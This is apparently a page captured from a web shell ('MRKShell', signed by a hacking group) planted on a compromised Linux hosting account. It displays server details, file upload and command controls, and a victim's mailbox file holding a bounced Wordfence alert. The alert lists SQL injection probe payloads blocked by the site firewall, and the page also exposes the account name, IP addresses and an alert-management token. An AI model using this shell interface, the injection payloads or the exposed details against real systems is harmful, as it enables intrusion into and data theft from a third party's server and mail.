...........................................................................................................................................................................................................................................................................................................................@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%PDF-1.5 MRK IS HERE %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY MR K IS HERE
MRKShell
Server IP : 65.108.66.160  /  Your IP : 216.73.217.50
Web Server : Apache
System : Linux srv16.asso.com.ar 4.18.0-553.123.1.el8_10.x86_64 #1 SMP Tue May 5 04:00:43 EDT 2026 x86_64
User : alasaweborg ( 1047)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/alasaweborg/mail/new/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/alasaweborg/mail/new/1695582040.M270061P28348.srv16.asso.com.ar,S=6931,W=7043
Return-Path: <>
Delivered-To: alasaweborg@srv16.asso.com.ar
Received: from srv16.asso.com.ar
	by srv16.asso.com.ar with LMTP
	id kYmXD1iHEGW8bgAA8xa/2Q
	(envelope-from <>)
	for <alasaweborg@srv16.asso.com.ar>; Sun, 24 Sep 2023 16:00:40 -0300
Return-path: <>
Envelope-to: alasaweborg@srv16.asso.com.ar
Delivery-date: Sun, 24 Sep 2023 16:00:40 -0300
Received: from mailnull by srv16.asso.com.ar with local (Exim 4.96)
	id 1qkULQ-0007N8-0f
	for alasaweborg@srv16.asso.com.ar;
	Sun, 24 Sep 2023 16:00:40 -0300
X-Failed-Recipients: wp@brotead.com
Auto-Submitted: auto-replied
From: Mail Delivery System <Mailer-Daemon@srv16.asso.com.ar>
To: alasaweborg@srv16.asso.com.ar
References: <Ln8PtChjXck8WeActThnFfSl2AKeJ7yuq27jMqo@alasa-web.org>
Content-Type: multipart/report; report-type=delivery-status; boundary=1695582040-eximdsn-612598093
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: <E1qkULQ-0007N8-0f@srv16.asso.com.ar>
Date: Sun, 24 Sep 2023 16:00:40 -0300

--1695582040-eximdsn-612598093
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

  wp@brotead.com
    host aspmx.l.google.com [74.125.205.26]
    SMTP error from remote mail server after RCPT TO:<wp@brotead.com>:
    550-5.1.1 The email account that you tried to reach does not exist. Please try
    550-5.1.1 double-checking the recipient's email address for typos or
    550-5.1.1 unnecessary spaces. Learn more at
    550 5.1.1  https://support.google.com/mail/?p=NoSuchUser 19-20020a05651c009300b002bff98b307fsi3089565ljq.561 - gsmtp

--1695582040-eximdsn-612598093
Content-type: message/delivery-status

Reporting-MTA: dns; srv16.asso.com.ar

Action: failed
Final-Recipient: rfc822;wp@brotead.com
Status: 5.0.0
Remote-MTA: dns; aspmx.l.google.com
Diagnostic-Code: smtp; 550-5.1.1 The email account that you tried to reach does not exist. Please try
 550-5.1.1 double-checking the recipient's email address for typos or
 550-5.1.1 unnecessary spaces. Learn more at
 550 5.1.1  https://support.google.com/mail/?p=NoSuchUser 19-20020a05651c009300b002bff98b307fsi3089565ljq.561 - gsmtp

--1695582040-eximdsn-612598093
Content-type: message/rfc822

Return-path: <alasaweborg@srv16.asso.com.ar>
Received: from alasaweborg by srv16.asso.com.ar with local (Exim 4.96)
	(envelope-from <alasaweborg@srv16.asso.com.ar>)
	id 1qkULP-0007N1-2w
	for wp@brotead.com;
	Sun, 24 Sep 2023 16:00:39 -0300
To: wp@brotead.com
Subject: =?us-ascii?Q?[Wordfence_Alert]_alasa-web.org_Aumento_de_la_t?=  =?us-ascii?Q?asa_de_ataque?=
X-PHP-Script: alasa-web.org/wp-cron.php for 65.108.66.160
X-PHP-Originating-Script: 1047:PHPMailer.php
Date: Sun, 24 Sep 2023 19:00:39 +0000
From: WordPress <wordpress@alasa-web.org>
Message-ID: <Ln8PtChjXck8WeActThnFfSl2AKeJ7yuq27jMqo@alasa-web.org>
X-Mailer: PHPMailer 6.6.0 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Este correo electrónico fue enviado desde tu web "Alasa" por el plugin de Wordfence a las Sunday 24th of September 2023 at 04:00:39 PM
La URL administrativa de Wordfence para este sitio es: https://alasa-web.org/wp-admin/admin.php?page=Wordfence
El cortafuegos de aplicaciones web de Wordfence ha bloqueado 118 ataques en los últimos 10 minutos. A continuación se muestra una lista de estos ataques recientes:septiembre 24, 2023 7:00pm  183.251.226.57 (China)     Bloqueado por SQL Injection en la cadena de consulta: lang = (SELECT CHR(113)||CHR(106)||CHR(112)||CHR(106)||CHR(113)||(CASE WHEN (3121=3121) THEN TO_NUMBER(1) E...
septiembre 24, 2023 7:00pm  183.251.226.57 (China)     Bloqueado por SQL Injection en la cadena de consulta: lang = (SELECT CHAR(113)+CHAR(106)+CHAR(112)+CHAR(106)+CHAR(113)+(CASE WHEN (9973=9973) THEN CHAR(49) ELSE ...
septiembre 24, 2023 7:00pm  183.251.226.57 (China)     Bloqueado por SQL Injection en la cadena de consulta: lang = (SELECT CONCAT(0x716a706a71,(ELT(1730=1730,1)),0x7178786b71))
septiembre 24, 2023 6:59pm  183.251.226.57 (China)     Bloqueado por SQL Injection en la cadena de consulta: lang = (SELECT CONCAT(CONCAT('qjpjq',(CASE WHEN (9578=9578) THEN '1' ELSE '0' END)),'qxxkq'))
septiembre 24, 2023 6:59pm  183.251.226.57 (China)     Bloqueado por SQL Injection en la cadena de consulta: lang = en;DECLARE @kmtt NVARCHAR(4000);SET @kmtt=(SELECT 'qjpjq'+(SELECT (CASE WHEN (4897=4897) THEN '1' EL...
septiembre 24, 2023 6:59pm  183.251.226.57 (China)     Bloqueado por SQL Injection en la cadena de consulta: lang = en));DECLARE @kmtt NVARCHAR(4000);SET @kmtt=(SELECT 'qjpjq'+(SELECT (CASE WHEN (4897=4897) THEN '1' ...
septiembre 24, 2023 6:59pm  183.251.226.57 (China)     Bloqueado por SQL Injection en la cadena de consulta: lang = en);DECLARE @kmtt NVARCHAR(4000);SET @kmtt=(SELECT 'qjpjq'+(SELECT (CASE WHEN (4897=4897) THEN '1' E...
septiembre 24, 2023 6:59pm  183.251.226.57 (China)     Bloqueado por SQL Injection en la cadena de consulta: lang = en";DECLARE @kmtt NVARCHAR(4000);SET @kmtt=(SELECT 'qjpjq'+(SELECT (CASE WHEN (4897=4897) THEN '1' E...
septiembre 24, 2023 6:59pm  183.251.226.57 (China)     Bloqueado por SQL Injection en la cadena de consulta: lang = en");DECLARE @kmtt NVARCHAR(4000);SET @kmtt=(SELECT 'qjpjq'+(SELECT (CASE WHEN (4897=4897) THEN '1' ...
septiembre 24, 2023 6:59pm  183.251.226.57 (China)     Bloqueado por SQL Injection en la cadena de consulta: lang = en%';DECLARE @kmtt NVARCHAR(4000);SET @kmtt=(SELECT 'qjpjq'+(SELECT (CASE WHEN (4897=4897) THEN '1' ...

	Nota: estás utilizando la versión gratuita de Wordfence.  Actualiza hoy:
  - Recibe actualizaciones de las reglas del motor de exploración y cortafuegos en tiempo real para protegerte cuando surgen amenazas
  - La lista de bloqueo de IP en tiempo real bloquea el acceso de las IP más malintencionadas a tu sitio
  - Bloqueo de país
  - Supervisión de la reputación de IP
  - Programa las exploraciones para que se ejecuten con más frecuencia y en momentos óptimos
  - Acceso a soporte premium
  - Descuentos para compras de varios años y licencias múltiples

 Haz clic aquí para actualizar a Wordfence premium:
 https://www.wordfence.com/zz1/wordfence-signup/
--
Para cambiar tus opciones de alerta para Wordfence, visita:
 https://alasa-web.org/wp-admin/admin.php?page=Wordfence&subpage=global_options
Para ver las alertas actuales de Wordfence, visita:
 https://alasa-web.org/wp-admin/admin.php?page=Wordfence



¿Ya no eres administrador de este sitio? Haz clic aquí para dejar de recibir alertas de seguridad: https://alasa-web.org/?_wfsf=removeAlertEmail&jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6IndwQGJyb3RlYWQuY29tIiwiX2V4cCI6MTY5NjE4NjgzOX0.afCg_EWdxTp4Rwf7PxVCqFGKv7mwvPTIUeHp9KRFttg


--1695582040-eximdsn-612598093--

Anon7 - 2022
AnonSec Team